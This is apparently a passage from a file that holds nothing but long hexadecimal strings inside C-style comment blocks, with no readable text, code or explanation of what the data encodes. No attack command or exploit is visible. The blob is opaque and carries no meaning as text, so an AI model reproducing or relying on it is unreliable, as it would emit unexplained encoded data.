67486cdcd0d307aea8074439a2fb1c2479c316c5fa3f0cba2a465311b0ebedf4d68bf9ae6181af2929e919*/
/*893ae0922cb0eae9c4b8ae52c0d46011e2965ea244c1b07a3a268e6ad101c68a919af18e1ead90818dcf8aed275e3db7fb457f255a5c7bd8e90143e38672a929b72ae40319e6dac44f59c4a3e82be54855103d300623b29b934ca5d5e8371a187456a5210e66d3c8592683a6ae54a2e9dea62651bcdea2d484c3536c5fabfef35e6e5e474f1d15448e4241650ea41e2cc07a13bd602b3a73a4d23e1ae5473a5235715374f83424845598c025224e9a882da7483b7ad398f5a99f2d10516d15ce258bc728674d7b5f2742a47f012ef804d184f84384727c468c110108a04f751df4f9087364a37e09b65da926e6925e46a23504b0d9cbec014bb04ff6686c16f0be721edf9c2bb12078c55e9e0c65471b4957bb2e5c1de2730ef3bb5e883b497080d68a50f8fdaef603a36c3827f1e2faf2b996f9cdb65a7a93c87760e5d14b5cc8b7fe9004841b8fe66085048f3d3b8fbe2ac0e1e3d62d8e670efa1b6fcfed87f326447dc1f18dea436cc173d8e64610eeb539ac86ab19948f461d8e52750822d816910ac86a02925c5f8ca4abdeb79be612d3af56267c5438a8a37795fa99983984bb2ed9e06e496abce9256e4151af52a5312eb42cd250ad76bae93036cc6203993e4b00bc4e0f3ceb496ea27981ead03609ddb78179fd0bca247d20fa06bce5274b2c82145e078550a0f1254cf3817a1b8da5a3fab7ed3266a9215ca69ee0605964d67f6418b5a813e104125cb30a332453e3d89b865277d3b2f690f01643805ae265443f73d00a035ac68398a9e7c5faaaa944ab7bace2604422008ce53bf0d777df90cec0146c25313656de2fabd0e2e9ca93bb222e757aaa2f5478d003b29ea9e567df02994d1a0ad89d24720b96c9b375d5d5f75b69560d89fd6c092b3c004c66c31b0463b3637d2f670aaf603f74560cb0107e9e8a8888160c21d9158ba665ff57dbf8037dec6a5504a143ff88e2c4d6c411b4e8a87218690c859b8d9d376b35107d21adb49c03268e34b986eb06c0cdac6346425dbad8f1fab3a7c5a3b043e0b89235b214c31ecdbefebe7e29c41586b9e55a3aac19c8aabf58de2f274938661e49f0beb0bce0c7b2a962d9aec5cfe15382a70da7b70afa76865347aaeee1712ef72125a073e4256e44cfdb7589a070158d6fc036a30457763c388c661114ff1b94c6470050238573784de6bf6a26102529f83bb9fcc8b43157d125ac5d65b4aab821eb1e86b6d6e074908ae2520bc83581e382cd6a45c8a53bd5220548a1842a818983b1fa0bfa77932af793607f5ce7992b65cc238616c52aeef35966fe8edb5a6bddacc978c52c54265561373001745d54857edb47ea21a80b53cb4a23085de0e02d4f4ea43139e2912d636bfe1d62febcd5a94476262b3e432dfe3fff0a68543176a09b40c1819f151b094cdae37e45ba5bac0eba69347a06220a82030a612e66239b3a11e56c9c6459f5461ba744c21f39e00669e6ac12089b099f933941033b205611e5e1016db9af9fc5a6b8dff60148ae6d7237b50250f86ce11f42f6252ad701ff255a77d304be7d0b18c8eec968cafd18debe1e22850b22d4e09b27b9108045ea9a1ac404bd31f92d73d3e695a76971359fff7c0f471c745fccdb7c5df1eb099639b8aeb23065b3e5d3218c0db8d49bbed2f84bcab8dad7868e3d8be7dfe3048bb157d5af9ed8125095fcbcd0ff510cf9d0bd402387555ffcd823d5174e068db064dda06c046b5bc98bae0ac0e2db4f06625f990322f4d7cafecd59ea81f0d30a02230ac64c060d1de8db5ee67814c2319c9626f8d992de10d6c97ff74d04ec4b5257ac9ab1b4915dcd0a59c187fd408545f983ecfe8c5417ba3a01bb7f18ef25b40ef93abcd1b38ea8de29507bd4e05d7c5d061723fa43b27fd2d93edcafddfec4d1f4a1d6ee38f5d6ee5e89790c2808bf528d460658963b6f23a425b9614949d2e57d814ce76ed7b26c7b0a00457e037dc7d9193649f537a7369d6e290c6ecf926a4dd8b52856bb18e66831d421446ccea0d6a206101424294b219a888f7a6c469a6f03f32b0973603356d4677bc5953ab540efd16a2f68f430318c610bb6d5a2e53ec592e3ceac877da06800ec2e53b65eb546f427aa88556616ac72f2882e9f9ec82cf0a63a0981f1fbf1955a29cd021df28a2f58faad5829b5ebe83149cc94a0508be1dc1f7da1b50bd6d65498ca29b52ef819fbc584ad2e702d68bbfd4201865c8a02205ca3b45a7048850db7519697a3f493efe00ae2380b51946e355082a6b85f438eb9717e175cea1cafa684337a691c51cd6f2e3b0ff8cbae2b441f1ce87e7d9682867903288bb9df9de11033876fcc5bd5283cd4731dd9fed303e1eae396951555b44727abe0d174517e4daf3724be2e89c0bf3789c277c2b8ca4b653f33315b562a8455c04e2e6b07ee09e81b509dbfd7accc4310119afc85d94672f2c0677014d5403e276f25d9a431ba79df69319528b9726a4fb079d68fa5b6219ef97fe3efda084f7795991b94b3bfc44224a88a17a4e77752e12026625fd9af70b57dbe2ef4356eb36c03fce014a34cbc41457221c7d62982c4e5f85f6570a34a26792c038e338abbb517422c2a900bf470b18618cbed4c41655f4ec7feaa1b6f8fab74d6b609dce7233f5dedbf8e8962823003e64953468a7015c925bd634a7ffac6aa735ab2f069f028bf5dfa8d0ae960a17578d124a2a1d0c11d4ebc29d6eeea6b5b6cf0ff20517409017fa5981ed9a82a30d6cc80e023ad574777ff37bc8985da807688c66ed0ddf12b57b0744629cf90c10b4690436eba1d7c2a0d3d1be3028e1c06*/
/*b59010d3cc00f4431a07548e8b07caac524b55052c0c8c84db5eaf4610d406d8240cbec5a0fbcda3f53881f436063fe9d4464b6d123fce2784750a438b1d62e545c84b9aff4d0225cf7a96586cd2d7cac34cc59bc86e18047e28d7765764d6c58e5d7f43a0fa9ca682927d92507a6013fa01d4833743f4b3b2ee26f7cd3b8bb04208f2e21e4d57de34e377e8281eaf866ddb4f0cd86eef7dad3dea4eb7108e4b555cca11d861685b386e6b46f017f321aef41fc084d8b128dbe32ffd3586014794315cff1ee29d11ad54c483f3086ea3f76b0a9d3fd809f8183d737052105740dfc2d0c6ff4a2e1a15f77b1a8f4c66bfeb9509738f2988990fde4e2f1430d7482c63d25c766e3d2e9adccd11510f3788276f1482999093c24697c36ede941e7c3bcb18a9cc7abecb2b519b086c0eb75f5c38a45a33a46312def1f3ac527bdb109c834a1ff8fe16b40af029051bb76b709863a4183f859ef2b33ad76a8eba077333a9d512809dc570864706f6e45c844c9ed0c291a11ae187ecbf5c9be595acbf5359eed8c82d461c38a409d3e8ae852ea92a9e8bc068d5bac9c21c8049c003e6ca0685e197d663106516f706e410442fd1d8a53141c993db3126c8e7f82425fb9754c62f24de6c9377caf5162153ffcc1e8394c20f59fedceadf9490998374281e4d7923cf95c7b3d0fe71add64c5e18ec521d16fe519babbc3f084162d7b75a84f11b6575f7823470bec52f5b5d622dceb8e1c5d31c27729afe88c427eb263bbb01c2dd8038777147747945f2d1890e4f86f9eec7cd4a62687ac09b54633d5e4981788d13fd493d3b18970e9fdd9ffa8205fb2010a9dcd611d767b2433513295c6b23c3ce7609a7b4f70f7cd42060de6ad6b914770bfed7f48ecc5bb11c0534810cfde4e3024c999321a9570fa20834436e56247bbc38e77ab6d01e9b6a58bfd3277510fd590e49affade9288120f3beafb7233e368b9165402022383e0ce0d55c01fb3b91d79210a35396fff686023e65060e73541a280d9aad279c2d55e239a9f69bafdf4b7b6327e94e89e330e9e19b8f70fd5e3a8751b756386ef0caf5350007d7b5ccc079343051280ab4e918c7ec94159f1df732e6cd9a8e23244130d5b2eec94a8e708e3a37050f097a785cba312ab4cf14c4b5f3df097de2a877a2ef538dcde44d03ff3f55e113d7f74e4c0f76b6e7498044ddabe964c11c4995232bc298a331373ef70461bcd67972cedbe05183b6ad42a12dd425c847ebcd1e4983ad90bea4c104c86918e052881448a47bc1fa45f32d1c9bc959a4de5486a899206ba653f79696f53473b2e034044ffafd3bb6e8cf19fc18cd26e93375b3802bfd9ca0add29e35f5d39b326be6601e496842c81a378b3d015b3af69f672e8877b798dbff014f5ea6513e873a7e5cdc94f06c6a6ad5d2d1fcdbcb680a64ca1c2509428b984bcd6e567354539f88ebd85211435fa786aa3678586adc2e89edc8af5e467eb0644c275a06302f007ead57a4519e0259b7232a13f049384324ba22cb09fb4cca3a07e8028c2ba7bbe4aee0e8e12bcab889c8138ef4ef62cd9b9349f70523b1ab08d2c5923d48487231f6e48d006ec68f4054d125b092f14f8c2037109f98170875929b13bfbeb3a06e41b3f599190249a18cceb65d0698aa0523a20f49e6eaf73c50faa955a47f78f8a5f52bd983a6a57f668eb1744949bab0a9b54f685066ec29e9ab5527d63189f7afd5f3b31ac729fa11320a5c7bc89eee4f7706b2d269c782e1f8c2d82901225050a0b77d771ef160589563d69b0a0fe82f748f73d8bf80ef982361a2d575c9af04820a9a8169a02484b9ea7e1ce0799b8b1644e0068b8680eb52e0daeb924779d8a7754ea0b5c260b4856754f9bf0efff89e27e186b80bc80ce3a4c67101af87c59593ebf1e96ff9da5692de75b0d99682bdf62e46d5f82e03dfb91be8f84c26c1e2ac144b472ea540cd8fecc268ed807acd7a4db2e07db2f539000cde4660ef4f5b3680fdd6611c3cf1b4a99cde1d8041377f13c5325ade71828e9e83fb6f86f94d8f9908ac0ca373cd214ba3a89667a9b2287276ebaa17db8faff552fe15fdc49b1c6a8bcb10ba86b9c0324b7b0b10888ba9b2f629195e90f4c456a4046ebd115e375177affac6152c6b2560ab066c5276a8cbc945c2e54ff0d931b3663188fa45b02e8406ffe6cc0e752f871c88b0d5a1eba63ad4e1529bdea8fadd305234983c9ab6503a3f3383d14fab0da97918e10b719dcc482b4dfe6558912642b0762766ad7d79a0ee2c77b002823978bfdd63a33df05a42e47f0d6d764d3d0b13f672e9dd6360a570fb31ba8943fb68599f84028490e2d4f8d0689cf4ded60eff654a376f220cc4ec85d6eecf7b2aaab1cfb77fe2b2091321752c51561a8465061aca04b44a9f4c07cbb8afbcdc0f0e93dc869810a579e186aa4e15513bea00f5caacbdc589bcc339593ef991f937f9bbf2d58215bfe11e643af2c4a9e66e9896781f1d0aa678734c87cc2a3de7f206be941c1bf2a375edb7f8da4b2ffe2531767c80a2f57b6c6cc36cdb00d947109e3620957ee313907aeba6103b5999784cbf9e63a9d184dcbc7cbb14d0eb9f93604b1df0faec8a11d0131d3af9e1de66b65a89e51da53fb370b5d57d4c11a5b1ab9e9f0e12b54d384a99a731fbd7b7369277c53bcc8cfb08b725fa0553b249f92df18066f6bf1d8d9e466cb6aa437578e37d1da8fd2bd45fa599777d683234cb0453f315729edfcdaab224878a56164906d61dc24489084dd774b123c115f030a89dce5b4b186686d0ee652800d7202cd90050d44b01c*/
/*3392b26be5255d77a724b4cf8c22e6370efd50e23e26c513f9ecf225c519e4764162460bc1f5aac0a1fec3d5c429d0ba7997606d7c276092a7286c139ede682483f2e6290863f5f0cfd3e1ceab7a859303abd27ca7150082581745d91079f0f15e9d988c75a11c3179be67541ff0ecd90cd4a029a2503c17da972a86f2d935a29e952be86732f809ebcbe5b00dbe60a1ffd6ed59c953a24919413c4a3d861fbb90ba7c88c247821ca9c087ab4f7ca4a2ae7880f0a0c4a798cec73d92f2bb47cecafcbc385aeec271c2d3223b44dce4b377688aac73235cec3213b80e154ed61817825c37193335b18475cc589b28d3d51f93d53cd477e1f0b35027c4793d24a7b1d258345c8580aee0f28503c6e6a1aaf4e9907fca0cbe361d9558976249eb95694dbfc0f67b4df1e47d3a7ac9488ee563baf26d82c80de7cbb8ec22119041287bd169faea12042558e264d44debb106811e05c695cdf879b7b8024ec6edea057708f7262f84a81c7627b440d1825408631a4f8d200db66f9e6fad3a2c951909cf584eaf68b9259efd59002c6b7c306b39cd477dee46f4e42c25302a17fcee9cb0b9656fd3c67b9b74b79a8d575db7d46b2ba27e3b9aae4e191fb8285acb51dca3edce0781f012cf260000b4ec147b70d66990c4593b1808df1df6171b89929522b5f1fe3a2fec0f79f00540a8d6a91a90c5c5aafe87ba7b92da6d45bd2a1708878befa7f1e5915901e126df546cfe5c4927c7e52b33b3fbda604fa4727d4949a9f5504d2f1a972fd5058e73d135309522267487ce837de28e8686f23891c683bb7e364c364e4743fbdc6bfb0db50be524e7279f6abef291ca7ce11529a1a2d1e1c69ad3a2dab90a11632fb2377493a43cfe038b0cad781058796308e1916bfaf4398924cc8f646398e08ce38f6cf5c6e3822b6d81cf816ea313e49d99e6aeec017861c79bbe3fed71042eaae96227e2f1c33be3179de20404fb892fc5a10441874f5960ca9444ba77b41a753ae809828ca935b531f1f46f31e6ec81593e44c93fbbea7cf89788a92fe37c1dc611fd10ab4e109dc193d8647addc29f25002fc94b6309192a7cb187a5fe8b28d470cb27e41a2f6de1a6b2fe4620228c1094dd8674f5dde772bb98bf9a9863bfa53ebf36d27b70c4a9a1a42f360e76592cbd0092b7708acd894c37c7435e35e619df8333bbfebb0477c1448510b7e1c318ff7f0fa54e0b68f27be6ed84b8a771933cc63fb1f53f0c318b8182b052977e5eddffc3a74b109957f13fece4abfdaf51a3bb3502ac67b592dd85939c59a93a3e8b1b99956ba2d9d97b178290212674d0ca1528f0626b4379481eae2f0313eddb451ecaa297ba55aa501b47cd7aeb0dee9a8953190599cfe7f0434a58ebc604ba89be4604485e967f54e46e0b53e78061fcbc1013528bb63e1c97cf406e0bca14841297b50924645505e9cea4fe1bbc0ad9b65456ce7a16ad6f5b17404347df68d3f6137857c94632ea3f34856d75cf1b93d4c6c5e96236cd3e76a12b7fc860d426c08424642f5c024bd6940becb180edb8c30bc6cc0ef2ca3eac1b63b639b069425ed71f19ab2d7f95715b6ceb2c80ad95d01609739e69381ea19fb3d59155c24dc1ea89dd5fb5c89a3b8c283c11f7c82757c28c217f4b40831626daab238d74e29117247101c064dbbd879aa90366755e659e71096de50ca12933615970b0b75f6f5b1273186d3e3c60b182be366aa601d58e182dcaf0507866827dcd4ffa8c960ee55868d2fd7c11382c736a78373ec6026caee6a360b2900cec97ceb3e08971b0684841d8cd251f372c7e0ca7aa7766af26c3b45464ab3eb97433ca2baf621335b26e5d52a5a4974f7477b3036c0c196e9f21a06901815e6ead46d9e4e600a09b601b2f510e78d4775b31869e9ec278ccbd0522bec6f46aa8811025914c9ab51170468cdcd454913123639e4a66d4c56cb551bf73743b12dc28829b0dda115b70fd3c580080c7746e20128d382cb4cfd005d09c3769604f6c6208567ad36dd16530dabdf234eb40f53d4aa038a8d18e0dafc8e97f9e02a5630f69cce2d91253b15daab286bc9897149769b4357d9440edd19c521c79eb28266763585a3bd9a6e7015e7bd99a4120dfae48274316ca2c087310ffa587d095394224895a808b301987f5c30703e67efe412f9f9820d5d9e1cb6c2ac60ceff108ca802ebad0eb07ccda0cd0e9c885ab42b9758b2bd98604ffaa53ac24497a2ea6d297c36e84bea36306ad0ef303ab63a191ddb7e723672e924d74e2ef2350882c3856747ffbb639ae43471a6503a619b9a598c135907b502937f498a81f82af771c7a8bb820fc38750bd435c723fc0dae4a66a1ae10c8c466a184e2c230655d4e4fc7206746a6b59a8753a29686c33a3d008c4e2f7c4a8df398a9c1ae185d15ec20d9632483ebe3cac0ef7d040cfae612a2e84cabcdd48728a968de7f815690be8faf003acfcfee307a71c4e8c34e9d602589d24b727efc47a178ab06d63cb2c9f84699364772a1ddebbae6d7108ea329af9b5fc4307e1abba04fbb279efb7c4f4079a344681f17ff30079d52e21e01fe353378b6e46e0e4878502ed02170d2f168c7da54e1d908fcd40031c73cbcfa44ef27145103cc3edc1ab89a6ea26dff78d43986e6513f442acc7894c0d6da78de57d36c971ef620da508ad24d1615fa50452654ec2eaff038e29d5c25784467c9ad4030a2b682fc837fef429b4f02737cef533a6c27aaa09e7de7920461b0b0c92536572354f6c0fb1fee4f93628cae8b7dd62f43272d3ef32f4932d24a6f023b02fce73cd65db8da06*/
/*5608c9f2be2ff7fb047cea9795a8e2ca16c702d3f5b3a9e85b57b2f4f436a072f6c8fba6abc6fed443022d4c9b624a456a8ed7e6d28c6639d0b342421e328083b5764ab7d92273510513eee79ed5d4ff5fa67019114112568879debbd867b7aa1a4ef6b74815513a00c0819c819a30f3dc3c340cd8c1399bd35b16bde24d603dd5d066c053b5fc23a0799b83105d2039184aedb34363a1be591f0cded9fa26fa903edab7fad82e59549bc9d9154ddc70f27befece1a55c30bf836fc7c57d2c02830abaa8517ef436c53aab3d35bac4566d89eae57d4d7d8d6df870386ac334bf01eec44790b0b728ec2b405bd65ab686a759f9b82dc1ff6946b31a59ce3186ceb22a7fc45f50001ab3a61b0d9ab74df0c0b31072e8fdbd601444c24f7093d354b5004a18d29bef95915ac4db8b5e3f0215f38e9b0aefa26f6abf0b97a9cd74b696b90b2b2dee5cf379e50f239414c75fd7c6e590e9a3242b08f184db99a7d70a6b642d2f3a4d8be17d77cbbacccbfc79453c509858e5aafa7beefb0ec47321a983ae1aab067e9a21c5faa88ad50a83d75ccd9c2b61bda42cf6d97c2007012b6f747aea0231dff7d7eb7c1e87fba3d7c5b20c5057e1f0f5342cd2a93a4f77506c22575d1dd9f7fa95d39e19f68c107a7512184867352e8700e7e3fad5a6017848bfde9f1a8fb49bc489c6b12339b785d000acbfd6f485cf3beb4345bcbd86e826436dea3920d041473b6968a218f57034a9fc92199fe78789dd9cc5f46679a37b3fa16946a341ed2f9759e612fd8a861f5e708f75b71a5cacca6b0f723c7742f9a9526e1cf42455db35dbefcad60ed54506e412fd91ac7f1b1b2d464572dc64a54ea668f2fbee5788ac53037d3c5bb7d43a1edec919d536987e75827d7c386046d00357156ada6497bef7eca42c1fc6a8d43541ebda4d065ee147fa84af87ea35f5df1c8dbc6adf017efd66d883ad9d422654fed33233eabb2f03d597b3cdbed255b3389f94ceba61548adc1e76e4b744a574b3f15cbacedc654594ff8e02e1a5e03cb7386eaab66b8082ec48d7a59679f04e3ef473cbf487f64c76179325e63de058351d1c66416bb1caa4523d856c968687e4f5e64c7a713f50237029b83e8b396184c9fc32e722b99221a24dd52d1db596bcdd4ea3ad065597d7d1c80b06c24e89b444ec0a98180d5dc638218481fa8a5f121188b6f70251cb6e12032678dedac74343560f0b13fab60dbb55c46118836e273d85761b87182209529f381122444a718ac1fad480db9b2ae3bad8b14463159d63fd4ce5d0f683c9c57dcdaa809a1fdc8b6247abd603251498b295de2b1ddaaedf4bf2a01bbfba8de2cfeb0f57ac2890100d19c40660541e8134710ce8450c51e05567bd55e008e27546786d6edf80f00eab70238ae9511ebe00fbfcd7430213a6af1324840c2c1b250da0844c0c09c9fed6eb2536d90170417fafbd4fafd7ca6ed3e489f211c26da1ec5ca34ddf8ae55c41f1edb199c3aa0bc6fdded2957c42c5ea9aab3abe079c27bde7ffb83b3b0c41bd37d918e5788d1125296f26668f533e3c73dc71940bbd9b7b46d2bbbcf24d4186280e0d2993afd1f3d1abb0140dcd21784907e5b4bcbdc0c2a30d531898b3252198b6390a6e6b54c6c2bd548aa1a1df5e019e1252c039f3d60400ca7893b7d6da8b22737856c357594f11f9d46a9ded1932a63bc2d99682953d70c182aaef4811ecc3330831f4d673409d4b133729983cb35d273d6e7ad2627cd81c2e7a2dee5dcde329dcdb525c6331e740509e5fe1d57200b6173d7b1f241b150e58536b6b6d720b1c810df41babae6dd67f167b721278fa827dcb642d00fe00baf3de82de06ef288a5555c31e1105035a0db5315cace1403529975a81d2d3df6d2311a2d1d26a4f1c7be8a3a1471152aa0566822e34650c6afd16f06d86775b44f0f1b2a97956da2b1ef7c5002dfabb9c6844a1f980087372d0c8be588821ccef3b1a02a5531f99ba6b0fa542fc8e21ba51fb946430a8f0fc66f5c87c7e71a06c9e211c3c60c178119a46566558dd39f2b363ae65a757b440671bbd5f5a2e9d5dda2fe0c51da692f45a70f06dbaeb7983b68563c70aedb3ded8d8cc7b07e6c22be3d7c5be6c52baedfd8b9e6798d212d1cd18ab75e25205c6bd4f98afe022273c590f8461c0591d7dad480626c342bbf380aae49eed155bac3f5d600cf20a7d6432f33564f941d1b7b09566bc02461baed1eccbb8e1e013911585c8424b7cd80cd69c5e3246368da6650b0e1b95ea2c1450b5627487c27dc97dbbd694267fc7be35fa235814447bf49974a469ba9ba014dc799c9fe6c8d18ba6044ffead8dc23668920d819ef92ed1495a4fdd3f423be25753a1185014ddd2e3805b68c8b846feacfe304deab13a2b0a3748a1275eb7565e5eea8d4959fa2008ab1c02ed0a03b49fc2a6339edf0f35fba90d921b892da717e4c98c9f76d378b64bbdc65c1d37762a96687e49a571c3ffcd125aac1358247cb89cf7655fa20d804ed09d59dba2c54a40a922b7e9deadb293f3e2a9e86f4481c003afff4aa367ef77e96666e0babbf7e2b8aff04052b81d15ecad696beda02a0f554fdaf3b217df97f84b08b32ff1e037f86e2ffcd4df08aefdde96e6c114626246e7210927a8e42d164aad54aed1d061e45a0a26111cc888932309154942a8183fefc3aa122b477dbe8502d953d8dd42db9d0dcb53f27e6c5a3609a126d8ddeae73aeae4dc14ff2b182dfae343a8daa94018fe79d5873a5677e2f5bdf634f5bcc0c5bb423e9ce069318321aa29553f3c27401e7f437c23ebd89f3b3a6e1c*/
/*bb98b132da6cc5f1b2d74900ca53cfd3d9100a90f84665464bf88cfeabecb0ac8c6ee6f039b79b0f94241b2e5a67730008ec3370c6ec695e590969d81f9c150ae76e7035d570dbb76fc7f76dfc4dbd09b02faad83733918f4ab6b91f5bbf4ebb7f92a2e6ece2c827cd1ec17692366016c9acbab1e2afa797d84dbf5f79a3c7a7a77c55f28d1cc2b3bc146ec5420d4863356e24b7438560e92d3bbb47cf0b4dc2a5613ca6d796929f81e95fb802aa36eb03e5eb08f1a4bfe7be8c20fb3824bd107bdfc8eab78e13c1d65cea7c4a5727ef2a687ea5ef2d545c52bb55e3af696ea8733a449028195cf7d11457a42cd6875f9c79b3bd4a99296c678d91bc5ecc24e854c3c1223894f512add53388fec688519faac2c66981e4212dc2cf6f47313054ce41ae48d302709e51617cf7b74a0b3ae8791ce67dddd42e45b1c8a1cafbf37acdac60d13d5b60f5ca1ebef79af32454590ec9186e5eb307f93affb81b4bb7db06123f719dbe78f29fff934bd021da5a20eea58bc60512a3d8de335112d3ab024270c3ef3d55c2619994ed14c33e67d715afbe5718be61d171aba8087c45ea6a90fb13925e87c200ddeab85f3857951f67567c09677ee49bd188ea966665e1304680d3421bd26844461df43aafab4917de8e6f3e6d4ef9c8469a4a284a6389db93c7ff3b8abe17b8059fcebf2696e1bfbaf4a8e030c975baf7e920f9eb6e213987afbef5989673196f64f7bf4364fea47312b22fe6298d44ae6d7420966fb9a8b9c3aaff8e7ccad0b5c6190e59d45f723f7c2024fb2154c558f91ce889ca43b0f86bbc778a1009c621f9958cb6e0674529a4f39b2d4bd6900e7426802c2fb2bbeaaa02dd958fac7876e14dfb867318a67a3031f4b2afc23cf2c0e0050c99edce9a6d791e0b9b2e4dc35d1de4e6eefaabae36579097444e008170726c3cca405078d730241fc89914c05634efd4bce9e990bc5566e22b818c22f3d4d823ccc24829035d606f179784f4d2187a7e96f766a21eedad5ba7f74c8d71bf8229f0a0d233025ea059c45010b8da08bd3d4955b4f8e06bef3a028c581838579bb997f8efd6d70b9e1aaf3ec3e693041bcb9fee82f56bcc4dcf5f3b4e6b6cf8b2f038b4d1f7088dee15724e7a90dbefd18abdb662086ef6777076f3d815b42fdd87a8b3153644296f7d4c58068f48bcd36ee21ca03198a406f4adb31ad47afaff04a52cedfe35b8310b834d28bfa25ee031d618e67ba92d12e8a01f87b9a2fadb141cc840dfe0c7c9f311861570d8322d509361b5c93d96c49b0638059bc5def6abc0ea5ad8ac23d943b56dbb67d555ace82fcb1a96c9dc73d450372d439a805c3292fa5851435b9ac11d283364976b634092788944fa786706e3a918035ae3c2f04636eeb8f0ff79ef9dff2d59d5d3e19c2e9d27df87c48bdedd70ead0f45087126a2a0b0ec9d8e1a193fe75c8fa1f43e756001983ab868197efef899f3cbcafbda130d4aeee5dba4e199e14164025e36283eba4ddb69f6d6b7b10203d0aff97861a15a0de32698bd939b171709f67424f59c8e260080fa5161edd0f391dc65c01b3d7d0895cbcee0e47efb3bdfd2d9c0b1f7e4bad309ace7ff61442d4bd2e7b654b789eb3798af5a16c53af50ea73bfd1ef47b83a0bf4e685e6a71c8537ab3f4f964d77e68b0c978c152a32c3b684c3b44f94e7ddc111cf0a509c64d35eb8e203e7541be01fb5d7273f1eba4f9d559ab4384e399873bea6f2d289c373895d563c1e1be7d2dd596be650e0eb3e7fadf484f75ec166abebcfebf0131191800b92cc62ab970ca0809ce2ed20ba5bdf2437e98f494be902fb6a20be6372fbfd0c61d323a3021f804eabc7bdb99417247150d507d84fb374816fa5fe291cf13399e51ecc5c0ebc8d4762bbfe938c06e24fa8e0c1056c2b220ee85e528a419af80f7618cdabaad63b8def8841b2679c904d8c589895b02f2fc8c9772a2ad53ca60339f14daaa8831ac53f6664773b9918262373c17a22716dafbe3bd7d666e874cccb32ca26722a08175ecc3f3b2bfbd6e5780a55fe69f022d2670009c3af4256e3e1088406cc48ea5a4b8a93a69371b8f023c74b6d71b2ef8bd22dd55d10b8251657e14188da02abeb70668c72fa802d047b5fa0ad3723e47728db6ba9c7cf432925f43ca7d5aa4099474c5609ba3922cc5507ac9725bd3ce6dea768271964074e3f0fd8adef05274f654238a334c8f6c5cc2c9d30821545fb1ce6e4b6f573756ba5e238885714bdbfe3955d2ebbb4dfb63fb36bde5823a77010a6aa3b07a680ea478e463150b71bc1a9dd26fae0241ff48c5c795d621fef90e78e158196a883668982ba43fe1cf4183500397da844565c5d63e330f9b02dc9ffc1774d8abd9e2e3414a5042fbb66cf210d8616d2e88f0b4383b03bdef0b72fa720d196635cd05c6d758c41960fab31e1ff2dfc9b1b85325a8141b2b0143a7a3f3ad438872045b3d268ce3317191de3ecf9fa7653a87e3069e707e3ac220131cd6a74d86b18bccb018f7e361cb12ecb93f6f466b24f1be456de1886f41c7e2e9bccac95c8b3f2fda7e3825112eb6503d74cc74802c3986e7e752014fa2d20c29a4295407f015688f640dd615fdbf0db80c014e1c892f76a82554d8a0315e798f5d4c18045b7394e9859c8caa3c19b0d44f5fde136d86ddb15ec3209ca23326e703306467f2389be997141efa8509da69a9d8b3a324a1f20fc309108d5167d0b42d3b948ad1250e519d7e6781659073898a13904d48f88bd30fdba9a1474b6ecfa9ce051c2c2146c7dc191bcde505d01e281c88becedab623c7ec6487a*/
/*7f5612b2449c086cb1af64b49fa8bf3220632e9d8d9dc09c50d1e5fa0a2c72603ea4d82f7162217d66b061505bef20f27bc00db2da4761f8ea561e49bc8ed40a016fddba32b4b284fa040f3146d93fcf84d4e6ba0e90559f13d40c0aefa39ce60cde3e356bbba0188fad5d588def0fc19f64e8395dc2c7bca2b0fd2a51021706d3735b70b79381c8339b1c3c6e71f3f429f5ad00fe4a1dc76f20f6f26cfa5997dfed08c78d5567c225f735fc6b86fa5e6b494e5f8692cf78df80cfbd509e8c1cc251d4be2b1d91cf0f1ef44ac816ef4e173800e9d7d598d41d894cfea64b0b67cbcd67521c4342db72efcd3c7e6dc49482c8ebb7ba3daad4af7ffc7842b5b7bbb587e91979d30fbc5010c13582ea2a92edcf98f712a7099d5cc71f4c76a4f7d2224c8dea641f526545f417817b01a7f88d13473e17393eae2ff14ac65e60a0abe486372a0c874bbdbdc7ca63494a1672b8b6b75dbaa8029b4669268e4ba49c68083b4a3ec2e9de2c8a1b0434d2a62fa7d486021a971577ba007b9885b7feab1f2b505793440697feaa298471fdb76f4e72c2d76daa05a1f9b0d5d1b4689ea16b294793309489dbbe04e658adafd402bbb6af663be200443394d18ccfa982dbac7bd32fe9709425c531758915fe3de15b125a418e7eaab8b383818ca18f11f484a4eebfe81bac8a8013068db46d82e7bc521cd2f21986df15faf9c27ba7f5d40f293b404ac9c80f8466fd33e8b73c7aba7c8acc1f156a3d9b31a34ac6425491440adb020980c9f2b39b991cb38c570ea381a540c2f92e8ee835f23a1c0bd0880ac9697d5753ba2c400b18a01feb5e23a6b501b2829cc8aa204af031d453c33a25dc5bd93e7a0b286693c5df746eda4c5b74f717b6333bf03ac2623bd1674972bdc562d5d2b73c086828844624b5123aa0b4a2fdf42c6bfa511904dd801da4dac3c0e14f789949adceb7779e081b6dc1e4593d8844c0d277410703e1364ed1a51658336fbc17ffdef77ddfa4e140a0fdf73657455073cdf6356da212cbe4150a1905d4d3f685f6a40f8a2a7af6a7531ae1501d901765ccb24b01f38ce67dc403582f80507bb924e393e93cb6fce9fc09dd814771fee57b4f179417c1f1a9c59d39cee662db74e72af49ac202c1cc1e2069f51811b70ce4d6f7165927eae99b42c9891542b972cd4b18baf7da6b48dc1df4cf4be5e5a240aec19a2733ebf857f8cbbb17d2e6dab75bcb4cc1df326c3a051ceeaec5bedc0d9afe9816382b2ea1371f854c467cfec73ba511241fddced4425ab576fdef4db5c233f93d396b521f3639bef95b90dcd858df83700cc4712961eb6da7b830fb881804734880ad3c57c026a4cef8ae8e0cf3c539dbd6a7d3b3b6db47c1c42213f75b371a4e6d74e2c16efc9c730c463ce75a62afd793f1809bbd2c45396b916ab52f060ddb96023323054c53d0b4551bfa19adf8e8d7e74b3a0175b5febb19fdb13084e2463c9450b56186a91d3ec8497d2d24e2d04970cae8ace494f6999c776c3e977adcc46438eb3d6fcf3949aa0f1b588d8c3aa92002843882f6b8786a3c8b9fc1e977b3c6ec8565b1a48442392397b1387fc7eba0be79d538bf033db339d9d0af654e7778bdeb8f015f12b16f315d325010d64c9f9ff09d32c58792c428fdbee6eb17750072417688508ebc73f0adfc4a5309bbf0a41f86c146f4f82245c55e6046a7e6ee5ae108b7b5b22ac82417cf4ce6c2bd1b60a4286b8effc8936bbe76f9c6f033b8e0ee52be8ed79e21aac30ae63526583e3c7dbde04340e562c819b72586ea88f7865f6012568a30f313bddb64082b09de321f5f3e1fe2632c968102d53f695a20d3d0dcad03579818ba309cd99905bb0449994d2e193f8effbcf0fa83ce00fd49354251ec23431cb9e2c2e003cf8e26d54f8b403bf05e82956d6662225b8a715b5ba5748ce1da209a1cef9329cdc53a1e90f13d731e8409826b04559f77e41b45151843244de6620fe080cecba9d2197896958